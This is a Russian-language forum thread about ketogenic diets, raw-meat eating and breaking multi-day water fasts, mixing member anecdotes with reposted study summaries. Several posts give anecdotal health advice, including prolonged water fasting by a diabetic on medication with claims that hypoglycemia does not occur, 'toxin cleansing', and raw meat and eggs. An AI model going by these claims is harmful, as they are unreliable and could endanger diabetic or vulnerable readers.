Хочу поделиться своим опытом и услышать чужой в плане питания преимущественно жирами.
Собственно впервые о такой диете и ее пользе я прочитал в постах Ризонебл. Правда в приводимых там медицинских исследованиях вообще исключали из питания углеводы и минимизировали белки. У меня же получилось все следующим образом.
Начав питаться сырым мясом я заметил что меня все более и более тянет на жиры, т.е. их доля в питании увеличивалась. В какое-то время меня заинтересовали споры о том какой куриный белок лучше усваивается термообработанный или сырой и в каое время суток лучше есть - утром или вечером. Сырой мне никогда не нравился так как становился в желудке камнем, поэтому я стал сразу проверять теорию с термообработанным. Я стал питаться так - разбивал куриное яйцо, отделял белок от желтка, клал желток на тарелку а белок в литровую кружку и так от 7 до 10 яиц. К желткам на тарелку добавлял до 100гр домашнего сливочного масла и до 50грамм свиного сала. Белки взбивал с магазинными жидкими сливками и жарил омлет. Омлет выкладывал на тарелку сверху желтков, масла и сала. Масло таяло и получалось объедение. Таким образом ел один раз в день. Потом мог еще только выпить до 500гр кифира и поесть до 50гр масла или сала. Пил воду. Считал через разные таблицы состав съедаемого получалось примерно так жиры:белки:углеводы - 7:4:2.
Отклоняясь от темы скажу что пришел к выводу что такую пищу лучше принимать с утра(хотя обычно я питаюсь один раз в день вечером) и что термообработанный куриный белок усваивается намного лучше сырого, по ощущениям как поесть сырой рыбы(форельки):D
Через пару недель такого питания у меня появился запах ацетона из рта и налет на языке. Я бросил, отголодал пару дней и вернулся на сырое мясо.

Я на кето. Основа моего рациона: творог, сметана, яйца (все домашнее), плюс сало свиное, оливковое и льняное масло, а также овощи со своего огорода (зимой со своих теплиц). Фрукты, хлеб, крупы, макароны, бобовые не ем. Сейчас 6 день голодаю, выходить хочу на молочной сыворотке, отваре шиповника с лимонным соком после 15 дней, потом овощи, орехи, так до конца восстановления. А так думаю не в посты описанное кето, а в посты овощи, орехи, масла

Илья 10-08-2018 15:54

Кетогенная диета может спровоцировать диабет 2-го типа
 
Кетогенная диета представляет собой низкоуглеводный рацион с высоким содержанием жиров и умеренным содержанием белков. На сегодня эта диета – одна из самых популярных во всем мире; она способствует снижению веса и считается здоровой.

Однако новое исследование, проведенное Высшей технической школой Цюриха (ETH Zurich) совместно с Детской университетской больницей Цюриха (University Children's Hospital Zurich), опубликованное в The Journal of Physiology, показывает, что кетогенная диета может повысить риск получения диабета 2-го типа.

В настоящее время диабет 2-го типа поражает миллионы людей во всем мире, эту болезнь связывают с нездоровым питанием, в котором содержится много жиров и углеводов, а также сидячим образом жизни при отсутствии физической активности. Происходит медленное снижение чувствительности к инсулину, в конечном итоге выработка инсулина из бета-клеток поджелудочной железы не отвечает потребностям организма, развивается непереносимость глюкозы и диабет 2-го типа.

Ученые сравнили влияние на толерантность к глюкозе и чувствительность к инсулину двух типов питания – диеты с высоким содержанием жиров и углеводов и кетогенной диеты – на метаболически здоровых лабораторных мышах. Они обнаружили, что животные на кетогенной диете вскоре проявили симптомы снижения толерантности к глюкозе, что является ключевой особенностью диабета 2-го типа. Причем нарушение толерантности к глюкозе среди мышей на кетогенной диете оказалось выше, чем у мышей из другой группы.

Инсулин выделяется в крови и используется для контроля уровня сахара в крови, в частности, сигнализируя печени о необходимости прекращения выработки сахара. Если эта система нарушается, организм начинает неправильно использовать инсулин (т. н. резистентность к инсулину), уровень сахара в крови повышается.

Согласно данным исследования, при кетогенной диете этот процесс контроля уровня сахара в крови не работает должным образом, и в печени вырабатывается резистентность к инсулину. Когда печень неспособна реагировать на нормальные уровни инсулина для контроля уровня сахара в крови, возникает повышенный риск возникновения диабета 2-го типа.

Кристиан Вольфрум (Christian Wolfrum), доктор философии, адъюнкт-профессор, один из авторов исследования рассказывает: «Диабет – одна из самых больших проблем со здоровьем, с которой мы сталкиваемся. Хотя кетогенные диеты считаются здоровыми, наши данные показывают, что при таком типе диеты существует повышенный риск резистентности к инсулину, который может привести к диабету 2-го типа. Следующим шагом будет попытка определить механизм этого эффекта и решить, является ли это физиологической адаптацией».

Находясь на кетогенной диете, организм использует энергию после распада жирных кислот, а не углеводов. Гипотеза исследователей заключается в том, что продукты распада жирных кислот могут подавать мозгу измененный сигнал, и это становится основной причиной нарушения толерантности к глюкозе.

Иван1961 16-08-2018 11:16

Re: Кетогенная диета может спровоцировать диабет 2-го типа
 
В моем случае только голодание и кетогенная диета позволяет снизить инсулинрезистентность, существенно уменьшить объем сахароснижающих препаратов. Я ем овощи (грамм 250-300 в день), фрукты (ягоды) по сезону, творог, сметану, яйца, курицу (все домашнее), кету, оливковое масло, сыр, авокадо. Никаких БЖУ и калорий не считаю. Ем в 9-00 и 16-00. Иногда перекус. Тут еще 17 часов интервального голодания!

Илья 21-08-2018 15:35

Низкоуглеводная диета может сокращать жизнь на четыре года
 
Низкоуглеводные диеты становятся все более популярными – считается, что они не только хороши для снижения веса, но и уменьшают риск возникновения некоторых заболеваний. Однако проведенное в США исследование показывает, что более здоровым является умеренное потребление углеводов или переключение с мяса на растительные белки и жиры.

Участниками исследования, опубликованногов The Lancet Public Health, были 15 400 человек в возрасте 45-64 лет, которые заполнили анкеты по потреблению ими пищи и напитках вместе с размерами порций. Исходя из этого, ученые подсчитали долю калорий, получаемых из углеводов, жиров и белка.

Наблюдения в течение 25 лет позволили исследователям обнаружить, что получение 50-55% энергии из углеводов (умеренное потребление в соответствии с рекомендациями по питанию) снижало риск смерти по сравнению с низким или высоким потреблением углеводов.

К углеводам относятся овощи, фрукты и сахар, но основным их источником являются крахмалистые продукты – картофель, хлеб, рис, макаронные изделия и крупы. При их умеренном потреблении ожидаемое количество лет жизни составило (в среднем) 83 года. Это было:

на 4 года больше, чем у людей, получавших 30% или меньше энергии от углеводов (очень низкое содержание углеводов);
на 2,3 года больше, чем 30-40% (низкоуглеводная группа);
на 1,1 года больше, чем 65% или более (высокоуглеводная группа).

Полученные результаты были аналогичны результатам предыдущих исследований, с которыми ученые сопоставили свои наблюдения (свыше 400 000 человек из более, чем 20 стран).

Кроме того, ученые сравнили низкоуглеводные диеты, богатые животными белками и жирами, с теми, которые содержали множество растительных белков и жиров. Они обнаружили, что употребление большего количества говядины, баранины, свинины, курицы и сыра вместо углеводов несколько повышало риск смерти. Замена же углеводов на растительные белки и жиры (бобовые и орехи) приводила к противоположному результату – несколько снижала этот риск.

Доктор Сара Сейдельманн (Sara Seidelmann), врач и научный сотрудник в области сердечно-сосудистой медицины из бостонской Женской больницы Бригхэма (Brighamand Women’s Hospital), возглавлявшая исследование,рассказала: «Низкоуглеводные диеты, в которых заменяют углеводы белками или жирами, набирают повсеместную популярность как стратегия здоровья и потери веса. Однако наши данные свидетельствуют, что низкоуглеводные диеты на основе пищи животного происхождения, которые распространены в Северной Америке и Европе, могут быть связаны с более короткой продолжительностью жизни и не должны быть рекомендованы. Вместо этого, если кто-то выбирает следовать диете с низким содержанием углеводов, то замена углеводов на большее количество растительных жиров и белков может на самом деле способствовать здоровому старению в долгосрочной перспективе».

Авторы предполагают, что диеты «западного типа» с ограниченными углеводами часто приводят к снижению потребления овощей, фруктов, зерновых продуктов и, соответственно, к увеличению потребления животных белков и жиров, которые связаны с воспалением и старением в организме.

Однако исследование имеет ряд ограничений. Выводы показывают ассоциации наблюдений, а не причинно-следственные связи; кроме того, рацион, основанный на данных самоотчетов, может быть неточным. А поскольку диеты измерялись только в начале испытаний и шесть лет спустя, диетические модели могли измениться в течение последующих 19 лет.

OrbRider 17-10-2018 17:08

Re: Кетогенная диета
 
Про инсулинорезистентность на кето

https://www.youtube.com/watch?v=-1u2HYSwVSE

Гвоздь 20-12-2018 13:59

Re: Кетогенная диета
 
Цитата:

Сообщение от Илья (Сообщение 1066482)
Однако исследование имеет ряд ограничений.

Неясен также результат аналогичного эксперимента с тем же количеством животной пищи, но не варёной, а сырой.

Ринат 27-01-2019 08:49

Re: Кето-диета после сыроедения
 
Интересует тема кетогенной диеты в сыроедном варианте. Есть у кого такой опыт?

Ринат 27-01-2019 09:01

Re: Кето-диета после сыроедения
 
Есть такая программа Fatsecret очень удобно подсчитывать калории и БЖУ.

gift 31-01-2019 08:32

Re: Кето-диета после сыроедения
 
Цитата:

Сообщение от Ринат (Сообщение 1077720)
Интересует тема кетогенной диеты в сыроедном варианте. Есть у кого такой опыт?

Есть такой опыт. Много сырого мяса всех видов. Сало, сливочное масло (неплохой вариант приготовить его по индийской технологии "масло Ги")
Яйца, но только желтки (в СЫРЫХ белках яиц есть антивитамин блокирующий в организме усвоение витамина Б6 - Природа побеспкоилась, чтобы никто безнаказанно не поедал яйца:-))
Регулировка работы кишечника - соотношением жиров-белков. если есть "уклон" на запор - добавляем жиров. Как сказал "Медведь" - одна из икон безуглеводки - "мало жиров - запор, много - нормальная работа кишечника" проверено в том числе и моим опытом.
Ну как то так.....

зы
Особый нажим на говядину и вообще - мясо травоядных. Так как в силу того, что у них в пищеварении "работает бактериальная фабрика" в первом желудке (первый из 4) то эти бактерии снабжают их всеми витаминами, которые мы и получаем поедая их мясо, печень, сердце и тд. Ну и разумеется молоко и все его производные, которые благодаря дополнительной работе уже внешних бактерий - становятся еще более витаминными для нас

Ринат 31-01-2019 14:07

Re: Кето-диета после сыроедения
 
мясо в сыром виде или вяленое (как сушеная рыба)? Молоко на кето не подходит, там сахара много. Жирная сметана, сливки, сыр -норм. Как было по самочувствию? Сейчас как питаетесь?

Целестина 17-03-2019 14:18

Re: Кетогенная диета может спровоцировать диабет 2-го типа
 
Иван61
Скажите, а вы не пробовали выход из голода с использованием принципов кето?
Я второй год на кето, думали, что и с голодовками завяжу, ан нет, села на две недельки. Где-то видела про выход на бульёнах, но не найду никак..

Иван1961 31-03-2020 15:05

Re: Кето-диета после сыроедения
 
Цитата:

Сообщение от Ринат (Сообщение 1077720)
Интересует тема кетогенной диеты в сыроедном варианте. Есть у кого такой опыт?

Почти на 85%. Овощи сырые, растущие над землей. Желтки яиц домашних, рыба соленная, творог с домашнего молока, сыровяленное мясо, сметана.

Иван1961 31-03-2020 15:07

Re: Кетогенная диета может спровоцировать диабет 2-го типа
 
Цитата:

Сообщение от Целестина (Сообщение 1081679)
Иван61
Скажите, а вы не пробовали выход из голода с использованием принципов кето?
Я второй год на кето, думали, что и с голодовками завяжу, ан нет, села на две недельки. Где-то видела про выход на бульёнах, но не найду никак..

В прошлом году: вначале овощные бульоны, потом молочная сыворотка, потом простокваша и творог

OrbRider 18-05-2020 17:22

Re: Кетогенная диета
 
Молочка задирает инсулин местами почище хлеба, зачем?

Владимир ман 18-05-2020 21:55

Re: Кетогенная диета
 
Здравствуйте форумчане!.
Немного теории что я для себя уяснил.
1. После 3 дней голода только на воде (без вообще чего либо) организм начинает кетогенез. То бишь сжигает жир и этот процесс длится столько сколько есть жира у индивидуума.
2. Но выход из гололания ( как мне щас надо) везде прописан на тех или иных углеводных продуктах (овощные фруктовые соки и тп.)
3. Вопрос - как им образом нужно выйти из голода чтобы процесс питания организма продрлажся ща счет жира (то есть чтобы процесс расщепления накопленного жира продолжался и во время выхода)?. Или по другому сформулирвть - что жрать на выходе чтобы инсулин резко не возрос и не нарушил тем самым процесс дальнейшего расщепления жира.

OrbRider 19-05-2020 06:47

Re: Кетогенная диета
 
Есть отечественная школа голодания, где зачем-то стремятся сразу вырубить кетоз - тут углеводы служат именно этой цели. Если вы на кетозе, то и ешьте свою кето-еду дальше.

Иван1961 30-05-2020 16:17

Re: Кетогенная диета
 
Продукты хорошие, но зачем в таких количествах. 100 г. сала и 100 г. масла-это уже 1700 ккал.......а ак же зелень? На кетодиете - самое то, я граммов 120 салата, укроп, петрушка, кинза---грам 200 в сумме и все свое, даже зимой из своей теплицы:bulbool:

Igor34 03-07-2020 16:11

Re: Кетогенная диета
 
Цитата:

Сообщение от lady_darsy (Сообщение 1004284)
Здравствуйте! Я на кето уже полгода. Сейчас голодаю 2-ой день. Планирую минимум 7-10 дней для очищения организма от шлаков. Много читала, что выходить из голода надо на соках, что совсем недопустимо в кето. А играть с инсулином я не хочу, только усмирила его. Может, кто-то имеет опыт голодания на кето. И как правильно выходить из этого голода, чтобы не окочуриться после первой же еды, поступившей в желудок?

10 дней голода - это не голод. Выходите на овощных соках. Преимущественно капуста, сельдерей, редис, шпинат, свёкла.

Иван1961 03-07-2020 18:04

Re: Кетогенная диета
 
Цитата:

Сообщение от Igor34 (Сообщение 1111321)
10 дней голода - это не голод. Выходите на овощных соках. Преимущественно капуста, сельдерей, редис, шпинат, свёкла.

Лично я выходил в том году после 11 дней водного на рыбном и овощном бульонах, потом молочная сыворотка, потом творог, разбавленный молочной сывороткой. Да,Ю и проф. Николаев рекомендовал диабетикам выход не на соках, а на молочной сыворотке, внимательно читаем его книгу

Цитата:

Сообщение от Igor34 (Сообщение 1111321)
10 дней голода - это не голод. Выходите на овощных соках. Преимущественно капуста, сельдерей, редис, шпинат, свёкла.

И на овощных можно, но если диабет 2 типа, то никак не на фруктовых и морковном

Igor34 11-07-2020 03:02

Re: Кетогенная диета
 
Цитата:

Сообщение от Владимир ман (Сообщение 1108852)
- что жрать на выходе чтобы инсулин резко не возрос и не нарушил тем самым процесс дальнейшего расщепления жира.

Жрать 1 раз в день вечером. Смотреть в ютьюбе Доктор Берг в русской озвучке.

Иван1961 15-07-2020 06:55

Re: Кетогенная диета
 
Цитата:

Сообщение от OrbRider (Сообщение 1108867)
Есть отечественная школа голодания, где зачем-то стремятся сразу вырубить кетоз - тут углеводы служат именно этой цели. Если вы на кетозе, то и ешьте свою кето-еду дальше.

Это интересная мысль-а, действительно, зачем сразу вырубать кетоз?

Иван1961 30-07-2020 10:53

Re: Кетогенная диета
 
Возможно и жировое веганство, ну,например, 1 кг огурцов, 50 г. зелени.....больше и не съесть. Это 20 граамов чистых углеводов и еще 2 г. Итого 22 г. углей. 11 г. белка. Добавляем 50 г. грецких орехов. Еще 7-8 г. белка, 30 г. жира, 5 г. углей. Итого: 19-30-27. Добавим 30 г. качественного оливкового масла, 10 г. кокосового. Еще 40 г. жира. Имеем 19-70-27. 814 ккал. По процентам 9,3-77,5-13,2 на кето не тянет. Можно еще 10 кокосового добавить масла. Будет ближе к кето.
Как разгрузочная сыроедческо-веганская диета иногда,........ постоянно? Все-таки мало белка, но может и достаточно. А если чередовать день так, а день с творогом дополнительно (200 г 9%). 1224 ккал и белка 41 г. углей 31 г. Тут уже 13,3%-76,6%-10,1%. Вполне кето....почти.....плюсы: низкая калорийность (малоедение умеренное), белка побольше......нет мяса и яиц, рыбы, то бишь плоти.....можно и 300 г. творога. Будет 16,4%-74.7%-8,9% и 1400 ккал.
Имеем лактовегетарианскую кетодиету. Чтобы огурцы и зелень влезали получше.....смузи с добавкой творога.
Я на кетодиете малоедческой, но могу и сметану, яцо всмятку, печень трески, мясо почти не ем, ел сало...подзавязал и при этом 15%-81%-4%, сейчас белка меньше 10%, подготовка к голоду!

Сергеев 30-07-2020 13:17

Re: Кетогенная диета
 
Цитата:

Сообщение от OrbRider (Сообщение 1108867)
Есть отечественная школа голодания, где зачем-то стремятся сразу вырубить кетоз - тут углеводы служат именно этой цели. Если вы на кетозе, то и ешьте свою кето-еду дальше.

С отечественной школой всё нормально, просто в отечественной школе никогда не было кетогенной диеты, и потому как бы не было смысла поддерживать кетоз и рассматривались пути оптимального выхода в нормальное состояние с дополнительными оговорками при ряде заболеваний.

Иван1961 30-07-2020 13:42

Re: Кетогенная диета
 
Цитата:

Сообщение от Сергеев (Сообщение 1112511)
С отечественной школой всё нормально, просто в отечественной школе никогда не было кетогенной диеты, и потому как бы не было смысла поддерживать кетоз и рассматривались пути оптимального выхода в нормальное состояние с дополнительными оговорками при ряде заболеваний.

Если внимательно читать Николаева, то он не рекомендовал больным диабетом 2 типа выход на фруктовых, морковных соках, а предлагал выход на овощных отварах и молочной сыворотке, чтобы не спровоцировать выброс инсулина, который клетки не видят, он прет....и не работает...это и есть гиперинсулинемия. И при сыроедениии, особенно с фруктами, сахара довольно высокие.
Кетогенная диета была, ей лечили эпиллепсия до открытия противосудорожных преппаратов, а также диабет 2 типа до открытия сахароснижающих преппаратов (бигуандиды и преппараты сульфамочевины). А инсулина на 2 тип не хватало, да и клицинисты понимали, что они и так "жирные", какой им инсулин. Использовалми термин "жесткая низкоуглеводная диета". Все просто, ломтик хлеба 15 г. и 3 огурца.....остальное мясо, яйца и др. (белковые продукты животного происхождения). Но в сути это была низкоуглеводная высокобелковая, без хвалы "жиров". И результаты были лучше, т.к. больные хорошо худели, что снижало уровень инсулинрезистентности. Когда появились преппараты все стало проще......че себя мучить диетами.....долбанул таблетку-две, пройдет время уколы инсулина подключим. Ныне уже в 30 лет диагноз ставят, поколению "бургеров". И эндокринологи не парятся....сразу сажают на инсулин (внешний), ведь при всех минусах, самое сильное сахароснижающее средство. Это глюкозоцентрическая концепция, а по гравицентрической, причина в ожирении, ведь ИМТ за 30, у меня было 34,7. И тут или жесткая диета на 4 месяца по 700 ккал в день.....или ушивание желудка, что технически просто (неинвазивная операция) и дает хороший результат. Ну, можно еще заболеть язвой......а так "неработающий инсулин" провоцирует процесс липолиза, да из-за того, что сахар в крови высокий, он есть. а клетки не усваивают, "волчий голод".
В целом, не все так просто! КД при диабете 2 типа позволяет поставить уровень сахара под полный контроль, ну, 5-6, позволить снизить вес......также дает хороший эффект при психических и неврологических заболеваниях (это же имитация голодания), при ряде онкологий как диетотерапия. Пожалуй все. Недиабетикам 2 типа, не эпилептикам, болезнь там Паркинсона, раковым.....она не нужна. Люди забыли, что КД специализированная временная лечебная диета

Сергеев 30-07-2020 14:34

Re: Кетогенная диета
 
При таком развороте событий, тем более нет никаких претензий к отечественной школе. Я кстати внимательно читал Николаева и это о чем ты говоришь - выход на сыворотке прописан даже в его книге для конкретного узкого круга больных, хотя и мимоходом вскользь. Так этот круг лиц в большинстве своем должен голодать в клинике под присмотром врачей, и во всяком случае Ю.С. Николаев не обязан был идти тяпкой тундру тяпать, а как минимум книга бы не увидела свет в те времена, если бы он сильно уклонился от генеральной линии. Для врачебного пользования может он и побольше написал. Во всяком случае я свой ИМТ нормализовал сразу за одно голодание. Взял и похудел с 88,5 кг до 68 при росте 182. И выходил без всяких кето на соках и фруктах с овощами, но держал вес в пределах 72 еще 5 с лишним лет. Потом в 56 лет занялся гирями и начал сознательно набирать вес и то даже по истечении 13 лет я не достиг того веса 88,5 кг который был, а где то сейчас кружит в районе 82,5 кг. Так это уже другой вес, мышцы тяжелые, намного тяжелей жира, потому не грех и 88 кг набрать.

Иван1961 30-07-2020 15:20

Re: Кетогенная диета
 
Цитата:

Сообщение от Сергеев (Сообщение 1112514)
Для врачебного пользования может он и побольше написал. Во всяком случае я свой ИМТ нормализовал сразу за одно голодание. Взял и похудел с 88,5 кг до 68 при росте 182. И выходил без всяких кето на соках и фруктах с овощами, но держал вес в пределах 72 еще 5 с лишним лет. Потом в 56 лет занялся гирями и начал сознательно набирать вес и то даже по истечении 13 лет я не достиг того веса 88,5 кг который был, а где то сейчас кружит в районе 82,5 кг. Так это уже другой вес, мышцы тяжелые, намного тяжелей жира, потому не грех и 88 кг набрать.

ИМТ был 26,7. Почти норма. Главное не было диабета 2 типа, то есть, инсулин работал и не был избыточным.
Диабетом они вообще не занимались. Узнали о возможности его лечения от Саркисяна на конференции. Он, собственно, и использовал кисломолочный выход в этом случае. Как говорил, Войтович, кризисов, включая и гипогликемии на голодании не бывает. Испробованно на себе. на 3 сутки сахар падает до 3.3 потом выходит на 5-5.5. Так и держится. Так и было в августе того года. А при 1 типе стали применять в США.
Но из моего опыта, выход на соках плох, оптимум кисломолочный. Сыроедение пробовал. При кол-ве углеводов выше 100 г взлетают сахаара, от 50 до 100 "зловещая долина", ни то, ни се, или меньше 50 или больше, меньше 50 кетодиета, в сути, даже если и не есть ничего животного, просто организм будет есть свой жир. Ведь 50 - это 200 ккал, ну и 17-18 белка, то есть, 270 ккал. Никакие сухофрукты не катят, только овощи в идеале и никакой фруктозы.

Иван1961 05-11-2020 09:14

Re: Кетогенная диета может спровоцировать диабет 2-го типа
 
Цитата:

Сообщение от Целестина (Сообщение 1081679)
Иван61
Скажите, а вы не пробовали выход из голода с использованием принципов кето?
Я второй год на кето, думали, что и с голодовками завяжу, ан нет, села на две недельки. Где-то видела про выход на бульёнах, но не найду никак..

Филонов рекомендовали из СГ выходить на бульонах. Я вышел в августе после 12 дней на курином. Особенность......курица домашняя, точней петух. На рыбном неплохо из форели. Мне при СД2 нельзя включать фрукты и соки, сразу уровень сахара вверх. Мое потребление углей 15 г. на 2000 ккал. Это 3%. Но в ср. позволяю 30, тут могу и мандарин съесть, а в пт. не ем

Igor34 12-11-2020 16:14

Re: Кетогенная диета
 
попробуйте Доктор Берг в ютьюбе =) там и кетоз и интервальное =)

Иван1961 25-11-2020 08:47

Re: Кетогенная диета
 
[В кетодиете важно в первыую неделю не сорваться на углеводный жор, сам не раз срывался, за первые три дня уходит не только гликоген, но и др. животные сахара (вроде), потом глюконеогенез, в виде преобразования внутренних и внешних белков в глюкозу, вот тут-то резко повышается тяга к углям, это кетогрипп, потом через 7-9 дней, органон переключается на кетоз и становится легче, прям как летаешь, энергии море. Преодолет на мой взгляд, лучше через вход на жировом посту с ограничением и белка, и углей. И лучше недоедать, например 1600 ккал, 60 ккал угли или 15 г. Это 3.7%. Белков можно 20 г. Это 5% от калорийности. А остальное 162 г. жиры, оливковое масло, кокосовое, сметанна, сало.....это временно, до 15 дней, а потом переходим на классику....2000 ккал 25 г. углей, белка граммов 80, остальное жиры, если делаете силовые упражнения, можно и 120 г. белка.
Раньше после срываов входил через голодание, но теперь про себя понял, что после голодания в 12 дней, лучше 20 дней посыроедить, потом жировой пост для кетоза, хотя по логике на голодании кетоз, и через сыроедение вы ввовдите организм в глюкоз.....но....у вас будет дней 45 мало белка. а жиры можно начинать наращивать на сыроедении с растительных масел с ОМЕГА9

Иван1961 16-04-2021 14:36

Re: Кетогенная диета
 
Почему на кето гликемическая нагрузка (ГН) (объем) важней количества углеводов.
Смотрите, кето (легкое) –это количество углеводов меньше 50. Но при одном и том же объеме углей ГН может быть разной. Первый вариант гипотетический:
1. 40 г. горького шоколада- 16 г. углей и 3,5 ГН.
2. Творог 200 г. 5 г. углей и 1,8 ГН.
3. Сметана 150 г. -4,8 углей и 2.8 ГН.
4. Капуста квашенная 200 г. – 7 г. углей и 1 ГН
5. Огурцы 200 г-5,6 углей-0,8 ГН
Итого углей 38,4 г.
Другой вариант.
1.Батон белый 25 г-13 углей, ГН-10
2. Яблоко 200 г-20 углей-7 ГН
3. Помидоры 150 г. -5,4 углей- 1 ГН
В первом варианте ГН 9,9, во втором 18,9.
А сколько надо? Адепты кето рекомендуют из углеводистых продуктов преимущественно зеленые овощи, у которых ГИ -15. В целом, меньше 25. Если брать 40 г. углеводов в день, то ГН не больше 10, а в идеале 7.
Так что, вложившись в макросы по углеводам, можете не вложиться по ГН.
Если есть овощи, жирную сметану, творог, мясо, рыбу, масла, сало…….то ГН будет за счет сметаны и творога, видно из примера выше, что будет 5,3 ГН. Еще пару яиц и ГН-6. Ну, и овощей полкило. И будет ГН 9. А если устранить молочку, некоторые адепты кето и на этом настаивают, то ГН 3, и на 4 единицы можно побаловать горьким шоколадом, съесть аж 45 граммов.
Но мясо, сало, рыба северных пород, оливковое масло, яйца насытят организм, будет прилив настроения и быстроты мышления!
Ну, так! ГН важней количества углеводов. Строгое кето до 5 ГН, среднее 5-7 ГН, от 7 до 10 ГН легкое кето. У меня сегодня 5,6 ГН, но тренировка в фитнесе была и ходьба 8,5 км.

Iosif 21-04-2021 09:07

Re: Кетогенная диета
 
Цитата:

Сообщение от Иван1961 (Сообщение 1123794)
ГН важней количества углеводов.

Это основа. ГН важна не только на кето. Если к примеру на обычном питании хлеб заменить на гречку с более низкой ГН, то будет только польза. И так во всем.

Иван1961 21-04-2021 10:48

Re: Кетогенная диета
 
Цитата:

Сообщение от Iosif (Сообщение 1124082)
Это основа. ГН важна не только на кето. Если к примеру на обычном питании хлеб заменить на гречку с более низкой ГН, то будет только польза. И так во всем.

Самый высокая ГН у хлеба, от 16 до 50, даже у отварного картофеля в мундире 10, у гречки - 14, но наиболее приемлемы на НУ (не кето)- бобовые 6-7, а отварной горох 2,2, с др. стороны высокая ГН у сметаны 1,8, у молока 1.3, большинство же классических кето-продуктов, разрешенных, овощи- от 0,2 до 0,7. Яйца 0,4. Единственые разрешенные продукты с высоким ГИ-это молочные, но многие адепты кето против них, но я ем сметану и творог, примерно на 2.5 ГН в день

Иван1961 15-03-2022 11:41

Re: Кетогенная диета
 
Цитата:

Сообщение от allright (Сообщение 570424)
Может не хватает овощей? В смысле проблем с почками и печенью.
У меня тоже тяга на жиро-белковое питание + немного риса и достаточно много овощей, преимущественно в приготовленном виде - лук, редька, морковка, капуста квашенная, сельдерей (стебли) немного. Как-то без дискомфорта и без ацетона вроде.

Фарш считаю неприемлемой едой - обманывает организм или, по крайней мере, его нужно долго готовить, жилы там, а они в сыром или полусыром виде перевариваются тяжело, если вообще перевариваются.

Я на кето, даже не считаю, утром творог со сметанной (самодельные из домашнего молока), ну творога и сметаны по 150 грамм. Это часов 10 и кофе с кокосовым маслом, пол чайной ложечки. в 13-30 сало грамм 40 и тушенная квашенная капуста со свиным фаршем (мясо домашнее). В 17-00 сыр 70 грамм, пару яиц отварных (всмятку).
Это вчерашний день, получается ПГ 7/17, где-то думается 18 г. углеводов. Калорий не знаю, не считал, избавился от этой дури последние месяцы. Одно вроде ненормально, овощей не ем, не считая квашенной тушенной капусты (со своего огорода), ну не лезут с рынка, силой что-ли запихивать? Хотя квашенная капуста 200 г. и фарша 100 г, насыщенная мясом солянка, тоже вроде овощи.
ПГ, когда как? Когда 6/18, когда 7/17, иногда и ОМАД раз в сутки. Больше без заморочек, примерно так! Основа еды домашние яйца, творог и сметана из домашнего молока, яйца домашние, сыр швейцарский, свинина с рынка, говядина, курица (тоже домашняя), овощи свои квашенные и соленные по желанию. Масло сливочное забыл. Тоже домашнее. Вот сливки 20% покупные. Пью кофе утром и чай раз в день. Все крепкое, но со сливками.

Алексаша 08-07-2022 07:26

Re: Кетогенная диета
 
Хотел написать в своей теме, а ее, оказывается, закрыли.

Впрочем, здесь, пожалуй, уместней.

Короче, у нас пропала собака. Мы живем в частном секторе, и она у нас на свободном выгуле. Тут это никого не смущает. Ушла-пришла, ничего страшного, хотя, на поводке ей гулять нравится гораздо больше.

У меня жена и прежде мониторила собачьи сайты, помогала искать потеряшек, клеила объявления и т. д. Ну, и недели через три нашла нашу суку на сайте одной из передержек, созвонилась, договорилась и отправилась забирать.
Там она пообщалась с кинологом, женщиной пенсионного возраста, которая всю жизнь работает с собаками. Каждую, которая поступает, они описывают. Нашей поставили возраст 3 года. Когда жена сказала, что ей 11 лет, кинолог от удивления открыла рот. Она видела-перевидела тысячи собак и от силы могла ошибиться на год-два.
Зубы в идеальном состоянии, язык, глаза, дыхание, шерсть -все в полном порядке, веселая, игривая. Они в нее все там просто влюбились. Кинолог садится в кресло, наша сука запрыгивает к ней на колени и начинает облизывать все ее лицо, шею, женщина даже не уклоняется, не отворачивается, тоже целуется с собачкой.
И жена говорит, это вы не знаете, в каком состоянии мы ее взяли в возрасте 9 месяцев. У нее было недержание мочи, в моче следы крови, глаза слезились, сама вся дрожала. У нее что-то было то ли со связками, то ли с суставами, постоянно прыгала на трех ногах. Прежние хозяева от нее отказались, потому что у хозяйки на нее якобы была алергия.

Теперь я обращаюсь к вам, дорогие коллеги, вы думаете, мы ее лечили? Ничуть не бывало. Я считаю, что если хищникам положено питаться сырой плотью, то и нечего мучить собак какими-то промышленными кормами. Мы и кормили ее мясом с костями. Постепенно и забыли обо всех ее проблемах со здоровьем.

Но, когда я слушаю или читаю рекомендации, так называемых, специалистов, уши в трубочку заворачиваются. Сначала нужно кормить кормами, потом давать витамины, потому что корма не полноценные, следом за витаминами нужно принимать микроэлементы, потом нужно давать хондропротекторы, потому что у них страдают суставы и связки, потом необходимо принимать глистогонные средства, потому что собачка, не дай бог, что-нибудь на улице съест. И дальше пошло-поехало, успевай только крутиться между ветеринаром, аптекой и зоотоварами.
То же самое, я думаю, и у людей. Чем проще и естественней рацион, тем полезнее для здоровья. И пусть мы все в пожилом возрасте будем веселыми и игривыми!


Текущее время: 10:43. Часовой пояс GMT +4.

Powered by vBulletin® Version 3.8.4
Copyright ©2000 - 2025, vBulletin Solutions, Inc. Перевод: zCarot
Права на форум защищены авторскими правами